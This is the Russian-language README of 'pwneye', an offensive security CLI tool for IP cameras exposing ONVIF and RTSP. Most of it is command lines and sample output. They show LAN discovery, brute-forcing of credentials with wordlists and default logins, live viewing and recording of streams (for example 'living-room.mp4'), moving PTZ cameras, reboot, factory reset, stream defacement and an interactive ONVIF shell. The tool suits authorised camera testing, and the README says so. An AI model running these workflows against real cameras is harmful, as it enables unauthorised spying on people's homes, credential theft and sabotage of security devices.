
Ваш компаньон для камер ONVIF и RTSP: обнаружение и взлом реальных камер видеонаблюдения 🎥
pwneye — это сфокусированный и портативный инструмент offensive security для работы с IP-камерами, которые предоставляют сервисы ONVIF и RTSP. Он создан, чтобы дать исследователям безопасности и хакерам простой способ выполнять обнаружение, тестирование аутентификации, сбор метаданных, проверку потоков, запись и последующие действия в рамках единого CLI-процесса.
Среди поддерживаемых возможностей:
ffplay, запись через ffmpeg и создание снимков~/.pwneyehttps://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c
Установите pwneye как системную CLI-команду из GitHub:```bash
pipx install git+https://github.com/Hackerest/pwneye.git
pwneye --help
Удалите его:```bash
pipx uninstall pwneye
Позже обновите его из того же источника на GitHub:```bash pipx upgrade pwneye
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help
Позже обновите его из того же источника на GitHub:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt
### Внешние зависимости
Следующие инструменты должны находиться в `PATH` в зависимости от используемого режима:
- `ffplay`
- `ffprobe`
- `ffmpeg` для записи
| Платформа | Команда установки |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |
## Начало работы
Используйте эти варианты как самые быстрые точки входа в инструмент. Цель здесь — не документировать каждый флаг, а показать наиболее полезные способы начать работу с камерой в зависимости от того, что вы уже знаете.
Начните с полного рабочего процесса по умолчанию, когда у вас есть одна цель и вы хотите, чтобы `pwneye` сам выполнил выбор протокола за вас:```bash
pwneye -t 192.168.1.135
Начните с обнаружения ONVIF, когда вы находитесь в одной локальной сети и хотите идентифицировать устройства, производителей и подсказки о потоках до того, как прикоснётесь к RTSP:```bash pwneye --discover
Начинайте напрямую с RTSP, когда ONVIF неактуален, недоступен или вы уже знаете, что хотите протестировать:```bash
pwneye -t 192.168.1.135 --skip-onvif
Начните с известных или предполагаемых учётных данных, когда хотите уменьшить количество ложных срабатываний и быстро проверить доступ:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123
Начните с известного пути или шаблона пути, когда у вас уже есть подсказка о потоке и вы хотите жёстко контролировать RTSP-запросы:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'
Начните сбор доказательств, как только будет найден рабочий поток:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record
Полезные флаги, которые стоит держать в уме:
- `--vendor VENDOR`: сокращает количество RTSP-запросов, когда семейство устройств уже известно
- `-cn, --connection-string PATH`: попробовать известный RTSP-путь или файл, содержащий кандидатные пути
- `--multi-channel`: отдавать предпочтение RTSP-путям на основе каналов, если вы подозреваете цель типа DVR/NVR
- `--threads N`: управление параллелизмом для перебора ONVIF и RTSP
- `--skip-onvif` / `--skip-rtsp`: сосредоточиться только на одном протоколе
- `--no-cache`: не читать из кэша и не записывать в него
- `--fresh`: игнорировать чтение из кэша, но по-прежнему записывать новые находки
## ONVIF
ONVIF — это сторона управления и контроля в мире камер. На практике она полезна для обнаружения, аутентификации, извлечения метаданных, перечисления медиа-профилей, получения URI потоков и выполнения действий над устройством, таких как перезагрузка.
В `pwneye` ONVIF обычно является протоколом, который даёт наиболее богатый контекст после аутентификации, самый чистый путь к пониманию того, что камера открывает наружу, и, когда аутентифицированная учётная запись имеет достаточно привилегий, доступ к реальным административным действиям на устройстве.
### Что даёт ONVIF
Когда камера открывает ONVIF, `pwneye` может использовать его для:
- обнаружения камер в локальной сети через WS-Discovery
- проверки аутентификации ONVIF с использованием фиксированных учётных данных или файлов
- извлечения метаданных производителя и устройства
- получения URI RTSP-потоков, открытых устройством
- перечисления полезного контекста после аутентификации перед более агрессивным обращением к RTSP
- запроса аутентифицированной перезагрузки с помощью `--reboot`
- запроса аутентифицированного сброса к заводским настройкам с помощью `--reset`
- перемещения камеры с поддержкой PTZ из командной строки или из выделенного просмотрщика
- открытия аутентифицированного интерактивного shell с помощью `--shell`
- дефейса потока через ONVIF с помощью `--deface`
- восстановления последнего сохранённого профиля дефейса с помощью `--undeface`
### Перечисление локальной сети
Используйте WS-Discovery для идентификации устройств с поддержкой ONVIF в локальной сети:```
pwneye --discover
[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)
Host: 192.168.1.135
Port: 80
Protocol: http
Types: Device
XAddrs: http://192.168.1.135:80/onvif/device_service
Manufacturer: Tenda
Name: CP3Pro
Hardware: CP3Pro
MAC: XX:XX:XX:XX:XX:XX
Country: China
Profiles: Streaming
Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder
[success] ONVIF discovery stopped by user after identifying 1 device(s)
Цикл обнаружения продолжает опрос каждые несколько секунд, выводит только вновь обнаруженные устройства и может быть остановлен с помощью CTRL-C.
Вы также можете принудительно выполнить обнаружение через конкретный сетевой интерфейс:```bash pwneye --discover en0 pwneye --discover eth0
Когда интерфейс не указан, `pwneye` автоматически выбирает исходящий интерфейс по умолчанию и сообщает вам, какую подсеть целевых устройств он использует для WS-Discovery.
### Перебор учётных данных
Запустите перебор только по протоколу ONVIF с фиксированным именем пользователя и файлом паролей:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y):
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345
Полезные опции:
--skip-onvif: пропустить обнаружение и перечисление ONVIF-oP, --onvif-port PORT: проверить конкретный порт ONVIF-ou, --onvif-username USER: имя пользователя ONVIF или файл с одним именем пользователя в строке-op, --onvif-password PASS: пароль ONVIF или файл с одним паролем в строкеЕсли -ou и -op не указаны, pwneye автоматически переключается на свои встроенные распространённые имена пользователей и пароли ONVIF.
pwneye кэширует успешные учётные данные ONVIF для каждой цели в ~/.pwneye/cache и повторно использует их при последующих запусках, если вы не используете --fresh или --no-cache.
Если аутентификация ONVIF прошла успешно, вы можете запросить перезагрузку напрямую:``` pwneye -t 192.168.1.135 --reboot
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!
Когда используется `--reboot`, проверка RTSP пропускается.
### Сброс камеры
Если аутентификация ONVIF прошла успешно, вы также можете запросить сброс к заводским настройкам напрямую:```text
pwneye -t 192.168.1.135 --reset
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.
Предупреждение: эта операция может быть необратимой и способна стереть текущую конфигурацию устройства, учётные данные и сетевые настройки. Используйте --reset только тогда, когда вы полностью понимаете последствия и имеете явное разрешение на её выполнение.
Как и в случае с --reboot, при использовании --reset проверка RTSP пропускается.
Если целевое устройство поддерживает управление PTZ через ONVIF, pwneye может перемещать камеру как из терминала, так и из выделенного окна просмотра в реальном времени.
Из CLI используйте --move с параметром direction,duration. Флаг можно повторять, и запрошенные перемещения выполняются последовательно, при этом проверка RTSP пропускается:```bash
pwneye -t 192.168.1.135 --move right,2
pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3
pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3
Принимаемые направления:
- `left` или `l`
- `right` или `r`
- `up` или `u`
- `down` или `d`
Пример:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1
...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...
[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!
Внутри выделенного просмотрщика, если поддерживается PTZ, сфокусированный вид также позволяет интерактивно перемещать камеру с помощью W, A, S и D. Это полезно, когда у вас уже есть рабочий поток и вы хотите получить прямую визуальную обратную связь при настройке устройства.
Если аутентификация ONVIF прошла успешно, pwneye также может попытаться дефейсить поток напрямую:```bash
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
Что делает `--deface`, если кратко:
- сначала проверяется, поддерживает ли цель затемнение потока через ONVIF Imaging
- также проверяется, предоставляет ли цель переиспользуемые текстовые слои ONVIF
- если доступны оба варианта, `pwneye` выполняет полный дефейс
- если доступна только одна сторона, `pwneye` предупреждает пользователя и предлагает вместо этого частичный дефейс
- перед любыми изменениями `pwneye` сохраняет профиль восстановления для цели в `~/.pwneye/cache`
Реализация намеренно консервативна и ориентирована на совместимость с вендорами:
- для шага затемнения `pwneye` снижает поддерживаемые параметры управления изображением, такие как яркость, контраст и насыщенность, вместо того чтобы полагаться на специфические для вендора трюки
- для шага с текстом `pwneye` повторно использует существующие записываемые текстовые слои ONVIF, а не создаёт или удаляет новые записи OSD
- это делает функцию более совместимой с разными семействами камер, даже если конечный визуальный результат всё равно зависит от прошивки
Пример:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

Если предыдущий запуск --deface сохранил профиль восстановления для цели, pwneye может использовать его для восстановления исходного состояния ONVIF:```bash
pwneye -t 192.168.1.135 --undeface
Что делает `--undeface`, если кратко:
- ищет ранее сохранённый профиль восстановления deface в записи кэша цели
- если профиля нет, немедленно останавливается с ошибкой
- если профиль существует, пытается восстановить исходные настройки Imaging и исходные редактируемые текстовые слои
- как и в случае с `--deface`, конечный результат может быть полным или частичным в зависимости от того, что цель разрешает через ONVIF
Профиль восстановления не удаляется после успешного выполнения `--undeface`. Он остаётся в кэше до тех пор, пока будущий `--deface` не перезапишет его более новым профилем.
Пример:```text
pwneye -t 192.168.1.135 --undeface
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!
Если аутентификация ONVIF прошла успешно, pwneye также может сразу открыть вам интерактивную оболочку ONVIF.
Это полезно, когда вы хотите просмотреть службы, вручную вызвать методы, изучить возможности или протестировать операции, специфичные для конкретной цели, не покидая текущий рабочий процесс.
Пример:```text pwneye -t 192.168.1.135 --shell
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[info] Opening the interactive ONVIF shell...
This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.
[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc
## RTSP
RTSP — это потоковая сторона мира камер. Это протокол, который обычно даёт вам путь к живому видео, но он также является одним из самых фрагментированных: вендоры используют разные пути, соглашения о каналах, особенности аутентификации и форматы баннеров.
В `pwneye` обработка RTSP построена вокруг обнаружения портов, снятия баннеров, выбора путей с учётом вендора, оркестрации брутфорса, проверки потока, предпросмотра и записи.
### Что даёт RTSP
RTSP — это часть рабочего процесса, которая подтверждает, действительно ли вы можете получить доступ к потоку. В `pwneye` это означает:
- обнаружение RTSP на распространённых или заданных пользователем портах
- снятие баннеров и попытку автоматической идентификации вендора
- брутфорс учётных данных по путям с учётом вендора или заданным пользователем
- проверку рабочих потоков перед их открытием
- запись потоков или захват снимков для доказательств
- перечисление нескольких каналов, когда цель ведёт себя как DVR или NVR
### Идентификация вендора
`pwneye` попытается автоматически идентифицировать вендора RTSP через снятие баннеров RTSP, прежде чем перейти к более широкому перечислению путей.
Если автоматическая идентификация на основе баннеров не удалась, а вы уже знаете вендора из предыдущего анализа, вы можете передать его напрямую, чтобы значительно сократить количество запросов:```bash
pwneye -t 192.168.1.135 --vendor tenda
Вы также можете получить только баннер RTSP и выйти:``` pwneye -t 192.168.1.135 --skip-onvif --banner
... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0
Полезные параметры:
- `--skip-rtsp`: пропустить обнаружение RTSP и перебор паролей
- `-P, --rtsp-port PORT`: проверить конкретный RTSP-порт
- `--vendor VENDOR`: принудительно указать производителя из базы RTSP
- `--list-vendors`: вывести список производителей, поддерживаемых базой знаний RTSP, и выйти
- `--protocol tcp|udp`: выбрать транспорт RTSP, по умолчанию — `tcp`
- `--timeout SECONDS`: таймаут RTSP, по умолчанию — `10`
### Перебор паролей RTSP
Перебор RTSP с фиксированными учётными данными:```bash
pwneye -t 192.168.1.135 --username admin --password admin
Только ротация имён пользователей с фиксированным паролем:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10
Попробуйте одну строку подключения RTSP, предоставленную пользователем:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"
Загрузить строки подключения-кандидаты из файла:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt
Объедините ручной путь с фиксированными учётными данными:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"
Предпочитайте многоканальные пути, когда целью, скорее всего, является DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel
Полезные параметры:
- `-u, --username USER`: имя пользователя RTSP или файл с одним именем пользователя в строке
- `-p, --password PASS`: пароль RTSP или файл с одним паролем в строке
- `-cn, --connection-string PATH`: строка подключения RTSP или файл с одной строкой подключения в строке
- `--multi-channel`: предпочитать многоканальные строки подключения RTSP, когда они доступны
- `--threads N`: количество параллельных потоков, используемых движком перебора
Если `-u` и `-p` не указаны, `pwneye` автоматически переключается на встроенные распространённые имена пользователей и пароли RTSP.
`pwneye` кэширует успешные учётные данные RTSP и проверенные метаданные потока для каждой цели в `~/.pwneye/cache`.
Поведение кэша:
- по умолчанию: повторно использовать кэшированные валидные находки перед запуском нового перебора
- `--fresh`: игнорировать кэшированные результаты, но по-прежнему обновлять кэш новыми находками
- `--no-cache`: отключить как чтение, так и запись кэша
### Многоканальные потоки
Некоторые камеры, видеорегистраторы (DVR) и сетевые видеорегистраторы (NVR) предоставляют несколько логических каналов RTSP вместо одного статического пути. Типичные примеры включают шаблоны, такие как:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0
pwneye может обнаруживать это автоматически при проверке RTSP, в том числе на основе встроенных знаний о RTSP от конкретных производителей, но вы также можете управлять этим процессом явно:
--multi-channel указывает pwneye предпочитать канальные RTSP-пути из базы знаний--connection-string позволяет указать собственный шаблон канала, включая такие плейсхолдеры, как {channel}pwneye может открыть либо один поток, либо выделенное окно многоканального просмотраПримеры:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt
Пример вывода:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far
[0] Open all discovered channels in a dedicated client
[1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
[2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
[3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0
[>] Select channel (CTRL-C to exit):
Если вы выберете Open all discovered channels, pwneye запускает выделенный многоканальный клиент, который удерживает все обнаруженные потоки в одном окне. Каждый поток отображается в мозаике как живое предпросмотр, а клик по плитке переводит этот канал в увеличенное сфокусированное представление с простым действием Back для возврата к сетке.
По умолчанию живое RTSP-предпросмотр использует выделенный клиент pwneye. Если вы предпочитаете классический рабочий процесс с системным плеером, вы можете добавить --legacy, чтобы открыть проверенный поток с помощью ffplay.
Когда выделенный клиент открыт, вы также можете запускать Snapshot и Record прямо из сфокусированного представления, не покидая GUI. Это полезно, когда вы хотите сначала осмотреть поток и только затем решить, сохранить ли статичное изображение или начать запись доказательств.
Откройте проверенный поток с живым предпросмотром:```bash pwneye -t 192.168.1.135 --vendor tenda
Записать проверенный RTSP-поток с предпросмотром:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4
Сделайте снимок экрана вместо полной записи:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg
Запись без открытия окна предпросмотра:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video
...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)
Поведение записи:
--record [OUTPUT.mp4]: записывает проверенный RTSP-поток; если параметр опущен, файл с отметкой времени создаётся в ~/.pwneye/recordings--snapshot [OUTPUT.jpg]: сохраняет кадр из проверенного RTSP-потока; если параметр опущен, файл с отметкой времени создаётся в ~/.pwneye/snapshots--no-video: пропустить предпросмотр в реальном времени и декодированиеSnapshot и Record непосредственно в активном представлении~/.pwneye/recordings/<target>/~/.pwneye/snapshots/<target>/Если бы pwneye был видеоигрой, это, вероятно, были бы подсказки, которые вы видите на экране загрузки:
--discover работает в локальной сети, используйте его в первую очередь. Информация о производителе, метаданные устройства и кэшированные результаты могут сделать дальнейшую RTSP-работу гораздо тише и надёжнее.--skip-rtsp, а не долбить напрямую по RTSP и делать поток нестабильным. Когда pwneye находит действительные учётные данные ONVIF, он автоматически попытается использовать их для RTSP.--vendor явно. Это сокращает количество запросов и помогает сохранить стабильность хрупких целей.--connection-string вместо широкого перечисления RTSP. Это даёт более точный контроль над набором запросов и упрощает интерпретацию ошибок.--multi-channel или шаблон ручного канала, прежде чем предполагать, что она предоставляет только один поток.Особая благодарность @kaburagisec за onvif-python, библиотеку ONVIF, используемую pwneye.
Она сделала ONVIF-часть этого проекта значительно проще и надёжнее.
Спасибо Darix Deros за помощь в тестировании и за несколько полезных предложений, которые улучшили части инструмента, включая рабочий процесс обнаружения ONVIF.
Используйте pwneye только против активов, которыми вы владеете или на проверку которых у вас есть явное разрешение.
Этот инструмент может перечислять службы, проверять аутентификацию, открывать потоки, записывать видео, взаимодействовать с административными функциями ONVIF и, при наличии достаточных привилегий, перезагружать, сбрасывать, портить или иным образом изменять поведение целевого устройства.
Даже если ваша цель — только сбор доказательств, многократное зондирование RTSP может сделать хрупкие камеры нестабильными, а действия ONVIF могут иметь немедленное операционное воздействие.
Этот проект распространяется под лицензией GNU GPL3.
См. LICENSE.md.
--reboot